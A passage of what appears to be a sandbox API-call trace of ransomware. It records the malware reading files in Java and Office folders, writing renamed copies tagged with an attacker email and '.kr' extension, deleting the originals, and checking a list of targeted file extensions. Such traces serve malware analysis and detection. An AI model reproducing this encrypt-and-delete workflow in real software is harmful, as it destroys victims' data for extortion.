(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0183.102] GetLastError () returned 0x0 [0183.102] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0183.104] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0183.105] ReadFile (in: hFile=0x408, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.105] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xea, lpOverlapped=0x0) returned 1 [0183.105] SetEndOfFile (hFile=0x3e0) returned 1 [0183.105] CloseHandle (hObject=0x3e0) returned 1 [0183.105] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.105] SetEndOfFile (hFile=0x408) returned 1 [0183.108] CloseHandle (hObject=0x408) returned 1 [0183.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.203] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0183.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.387] lstrlenW (lpString=".doc") returned 4 [0183.387] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0183.387] lstrlenW (lpString=".docx") returned 5 [0183.387] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0183.387] lstrlenW (lpString=".pdf") returned 4 [0183.387] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0183.387] lstrlenW (lpString=".xls") returned 4 [0183.387] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0183.387] lstrlenW (lpString=".xlsx") returned 5 [0183.388] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0183.388] lstrlenW (lpString=".ppt") returned 4 [0183.388] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.388] lstrlenW (lpString=".zip") returned 4 [0183.388] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString=".rar") returned 4 [0183.388] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString=".bz2") returned 4 [0183.388] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString=".7z") returned 3 [0183.388] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.388] lstrlenW (lpString=".dbf") returned 4 [0183.388] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.388] lstrlenW (lpString=".1cd") returned 4 [0183.388] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.388] lstrlenW (lpString=".jpg") returned 4 [0183.388] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.388] lstrlenW (lpString=".doc") returned 4 [0183.388] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString=".docx") returned 5 [0183.388] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0183.388] lstrlenW (lpString=".pdf") returned 4 [0183.388] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString=".xls") returned 4 [0183.388] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0183.388] lstrlenW (lpString=".xlsx") returned 5 [0183.388] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0183.389] lstrlenW (lpString=".ppt") returned 4 [0183.389] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0183.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.389] lstrlenW (lpString=".zip") returned 4 [0183.389] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0183.389] lstrlenW (lpString=".rar") returned 4 [0183.389] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0183.389] lstrlenW (lpString=".bz2") returned 4 [0183.389] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0183.389] lstrlenW (lpString=".7z") returned 3 [0183.389] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0183.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.389] lstrlenW (lpString=".dbf") returned 4 [0183.389] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0183.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.389] lstrlenW (lpString=".1cd") returned 4 [0183.389] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0183.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0183.389] lstrlenW (lpString=".jpg") returned 4 [0183.389] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0183.389] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0183.389] lstrlenW (lpString="local_policy.jar") returned 16 [0183.389] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0183.464] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3527) returned 1 [0183.464] CloseHandle (hObject=0x484) returned 1 [0183.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0183.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.960] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.960] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0183.961] GetLastError () returned 0x0 [0183.961] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xdc7, lpOverlapped=0x0) returned 1 [0183.962] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0183.963] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.963] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xf4, lpOverlapped=0x0) returned 1 [0183.963] SetEndOfFile (hFile=0x520) returned 1 [0183.964] CloseHandle (hObject=0x520) returned 1 [0183.964] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.964] SetEndOfFile (hFile=0x4d8) returned 1 [0183.966] CloseHandle (hObject=0x4d8) returned 1 [0183.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.967] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0183.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.967] lstrlenW (lpString=".doc") returned 4 [0183.967] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0183.967] lstrlenW (lpString=".docx") returned 5 [0183.967] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0183.967] lstrlenW (lpString=".pdf") returned 4 [0183.967] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0183.967] lstrlenW (lpString=".xls") returned 4 [0183.968] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0183.968] lstrlenW (lpString=".xlsx") returned 5 [0183.968] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0183.968] lstrlenW (lpString=".ppt") returned 4 [0183.968] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0183.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.968] lstrlenW (lpString=".zip") returned 4 [0183.968] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0183.968] lstrlenW (lpString=".rar") returned 4 [0183.968] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0183.968] lstrlenW (lpString=".bz2") returned 4 [0183.968] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0183.968] lstrlenW (lpString=".7z") returned 3 [0183.968] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0183.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.968] lstrlenW (lpString=".dbf") returned 4 [0183.968] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0183.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.968] lstrlenW (lpString=".1cd") returned 4 [0183.968] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0183.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.968] lstrlenW (lpString=".jpg") returned 4 [0183.968] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0183.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.968] lstrlenW (lpString=".doc") returned 4 [0183.968] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0183.968] lstrlenW (lpString=".docx") returned 5 [0183.968] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0183.968] lstrlenW (lpString=".pdf") returned 4 [0183.968] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0183.968] lstrlenW (lpString=".xls") returned 4 [0183.968] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0183.969] lstrlenW (lpString=".xlsx") returned 5 [0183.969] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0183.969] lstrlenW (lpString=".ppt") returned 4 [0183.969] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.969] lstrlenW (lpString=".zip") returned 4 [0183.969] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0183.969] lstrlenW (lpString=".rar") returned 4 [0183.969] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0183.969] lstrlenW (lpString=".bz2") returned 4 [0183.969] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0183.969] lstrlenW (lpString=".7z") returned 3 [0183.969] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.969] lstrlenW (lpString=".dbf") returned 4 [0183.969] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.969] lstrlenW (lpString=".1cd") returned 4 [0183.969] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0183.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0183.969] lstrlenW (lpString=".jpg") returned 4 [0183.969] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0183.969] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.969] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0183.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.970] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=26816) returned 1 [0183.970] CloseHandle (hObject=0x4d8) returned 1 [0183.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0183.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.971] lstrlenW (lpString=".doc") returned 4 [0183.971] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.971] lstrlenW (lpString=".docx") returned 5 [0183.971] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.971] lstrlenW (lpString=".pdf") returned 4 [0183.971] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.971] lstrlenW (lpString=".xls") returned 4 [0183.971] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.971] lstrlenW (lpString=".xlsx") returned 5 [0183.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.971] lstrlenW (lpString=".ppt") returned 4 [0183.971] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.971] lstrlenW (lpString=".zip") returned 4 [0183.971] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.971] lstrlenW (lpString=".rar") returned 4 [0183.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.971] lstrlenW (lpString=".bz2") returned 4 [0183.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.971] lstrlenW (lpString=".7z") returned 3 [0183.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.971] lstrlenW (lpString=".dbf") returned 4 [0183.972] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.972] lstrlenW (lpString=".1cd") returned 4 [0183.972] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.972] lstrlenW (lpString=".jpg") returned 4 [0183.972] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.972] lstrlenW (lpString=".doc") returned 4 [0183.972] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString=".docx") returned 5 [0183.972] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.972] lstrlenW (lpString=".pdf") returned 4 [0183.972] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString=".xls") returned 4 [0183.972] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString=".xlsx") returned 5 [0183.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.972] lstrlenW (lpString=".ppt") returned 4 [0183.972] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.972] lstrlenW (lpString=".zip") returned 4 [0183.972] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString=".rar") returned 4 [0183.972] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.972] lstrlenW (lpString=".bz2") returned 4 [0183.972] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.972] lstrlenW (lpString=".7z") returned 3 [0183.972] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.972] lstrlenW (lpString=".dbf") returned 4 [0183.973] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.973] lstrlenW (lpString=".1cd") returned 4 [0183.973] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0183.973] lstrlenW (lpString=".jpg") returned 4 [0183.973] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.973] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.973] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0183.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.973] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=70848) returned 1 [0183.973] CloseHandle (hObject=0x4d8) returned 1 [0183.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0183.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.974] lstrlenW (lpString=".doc") returned 4 [0183.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.974] lstrlenW (lpString=".docx") returned 5 [0183.974] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.974] lstrlenW (lpString=".pdf") returned 4 [0183.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.974] lstrlenW (lpString=".xls") returned 4 [0183.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.974] lstrlenW (lpString=".xlsx") returned 5 [0183.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.974] lstrlenW (lpString=".ppt") returned 4 [0183.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.974] lstrlenW (lpString=".zip") returned 4 [0183.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.974] lstrlenW (lpString=".rar") returned 4 [0183.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.974] lstrlenW (lpString=".bz2") returned 4 [0183.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.974] lstrlenW (lpString=".7z") returned 3 [0183.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.974] lstrlenW (lpString=".dbf") returned 4 [0183.975] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.975] lstrlenW (lpString=".1cd") returned 4 [0183.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.975] lstrlenW (lpString=".jpg") returned 4 [0183.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.975] lstrlenW (lpString=".doc") returned 4 [0183.975] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString=".docx") returned 5 [0183.975] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.975] lstrlenW (lpString=".pdf") returned 4 [0183.975] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString=".xls") returned 4 [0183.975] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString=".xlsx") returned 5 [0183.975] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.975] lstrlenW (lpString=".ppt") returned 4 [0183.975] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.975] lstrlenW (lpString=".zip") returned 4 [0183.975] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString=".rar") returned 4 [0183.975] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.975] lstrlenW (lpString=".bz2") returned 4 [0183.975] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.975] lstrlenW (lpString=".7z") returned 3 [0183.975] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.975] lstrlenW (lpString=".dbf") returned 4 [0183.975] 